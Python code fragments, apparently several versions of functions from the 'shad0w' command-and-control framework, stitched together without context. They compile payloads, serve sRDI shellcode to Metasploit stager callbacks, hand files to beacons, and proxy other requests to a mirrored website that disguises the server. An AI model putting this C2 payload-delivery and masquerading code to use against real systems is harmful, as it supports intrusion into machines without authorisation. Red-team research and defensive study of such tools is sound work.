def start(self): # mirror a website if we need to if self.mirror is not None: mirror.mirror_site(self, self.mirror) # compile the payloads, this makes execution of modules quicker self.compile_finished = False # start the loading banner Thread(target=tools.loading_banner, args=(self, )).start() # start to do the compiling asyncio.run(tools.compile_and_store_static(self)) asyncio.run(tools.compile_and_store_static_srdi(self)) # make sure we are in the rootdir os.chdir("/root/shad0w") # make sure the loading screen has finished while self.screen_finish != True: pass # show the banner banner.Banner() # start the http server thread # self.debug.log("starting http server thread") thttp = Thread(target=http_server.run_serv, args=(self, )) thttp.daemon = False thttp.start() # asyncio.run(http_server.run_serv(self)) # start the console asyncio.run(self.console.start())
def not_found(e): req_path_len = len(request.path) # check if it is a msf stager try: if req_path_len == int(shad0w.variables["MsfUriSize"]): shad0w.debug.log(f"MSF callback...", log=True, new=True) return shad0w.payloads["x64_secure_static_srdi"]["bin"] except ValueError: shad0w.debug.error(f"Value Error: {shad0w.variables['MsfUriSize']}") try: for obj in shad0w.beacons[shad0w.current_beacon]["serve"]: if obj == request.path: return shad0w.beacons[shad0w.current_beacon]["serve"][obj] except: pass if shad0w.mirror is None: return "" path = shad0w.mirror + request.path shad0w.debug.log(f"proxying call to {path}") data, headers, status_code = mirror.mirror_site(shad0w, path, dynamic=True, method=request.method, headers=request.headers, data=request.get_data(), cookies=request.cookies) return Response(data, status_code, headers)
def not_found(e): path = shad0w.mirror + request.path shad0w.debug.log(f"proxying call to {path}") data, headers, status_code = mirror.mirror_site(shad0w, path, dynamic=True, method=request.method, headers=request.headers, data=request.get_data(), cookies=request.cookies) return Response(data, status_code, headers)
def start(self): # show the banner banner.Banner() # mirror a website if we need to if self.mirror is not None: mirror.mirror_site(self, self.mirror) # start the http server thread # self.debug.log("starting http server thread") thttp = Thread(target=http_server.run_serv, args=(self, )) thttp.daemon = False thttp.start() # asyncio.run(http_server.run_serv(self)) # start the console thread asyncio.run(self.console.start())
def not_found(e): try: for obj in shad0w.beacons[shad0w.current_beacon]["serve"]: if obj == request.path: return shad0w.beacons[shad0w.current_beacon]["serve"][obj] except: pass path = shad0w.mirror + request.path shad0w.debug.log(f"proxying call to {path}") data, headers, status_code = mirror.mirror_site(shad0w, path, dynamic=True, method=request.method, headers=request.headers, data=request.get_data(), cookies=request.cookies) return Response(data, status_code, headers)